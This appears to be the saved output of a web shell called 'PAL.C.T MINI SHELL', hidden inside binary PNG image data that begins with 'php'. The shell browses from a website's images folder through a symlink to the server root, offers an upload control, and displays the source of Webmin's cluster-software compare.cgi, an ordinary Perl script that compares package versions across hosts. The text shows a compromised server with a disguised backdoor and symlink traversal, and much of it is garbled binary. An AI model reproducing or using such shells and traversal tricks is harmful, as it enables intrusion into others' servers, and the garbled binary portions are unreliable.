php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/cluster-software/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/cluster-software/compare.cgi

#!/usr/bin/perl
# Do an actual comparison

require './cluster-software-lib.pl';
&error_setup($text{'compare_err'});
&ReadParse();

# Work out which servers to use
if ($in{'all'}) {
	@hosts = &list_software_hosts();
	}
else {
	@allhosts = &list_software_hosts();
	@servers = &list_servers();
	@groups = &servers::list_all_groups(\@servers);
	foreach $s (split(/\0/, $in{'hosts'})) {
		if ($s =~ /^group_(.*)$/) {
			# Add all group members
			($group) = grep { $_->{'name'} eq $1 } @groups;
			foreach $m (@{$group->{'members'}}) {
				($server) =grep { $_->{'host'} eq $m } @servers;
				($host) = grep { $_->{'id'} eq $server->{'id'} } @allhosts;
				push(@hosts, $host) if ($host);
				}
			}
		else {
			# Add one host
			($host) = grep { $_->{'id'} eq $s } @allhosts;
			push(@hosts, $host) if ($host);
			}
		}
	}
@hosts >= 2 || &error($text{'compare_etwo'});

&ui_print_header(undef, $text{'compare_title'}, "");

# Find union of all packages
foreach $h (@hosts) {
	foreach $p (@{$h->{'packages'}}) {
		$p->{'host'} = $h;
		push(@{$packs{$p->{'name'}}}, $p);
		}
	}

# Show results by package
%smap = map { $_->{'id'}, $_ } &list_servers();
print &ui_columns_start([ $text{'compare_pack'},
			  map { &server_name($smap{$_->{'id'}}) } @hosts ]);
foreach $pn (sort { $a cmp $b } (keys %packs)) {
	local @row = ( &ui_link("edit_pack.cgi?package=$pn",$pn) );
	local $ok = 1;
	foreach $h (@hosts) {
		local ($ph) = grep { $_->{'host'} eq $h } @{$packs{$pn}};
		if (!$ph) {
			push(@row, $text{'compare_miss'});
			$ok = 0;
			}
		else {
			push(@row, $ph->{'version'} || $text{'compare_got'});
			if ($ph->{'version'} &&
			    $ph->{'version'} != $packs{$pn}->[0]->{'version'}) {
				$ok = 0;
				}
			}
		}
	if (!$ok || $in{'showall'}) {
		print &ui_columns_row(\@row);
		}
	}
print &ui_columns_end();

&ui_print_footer("", $text{'index_return'});
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`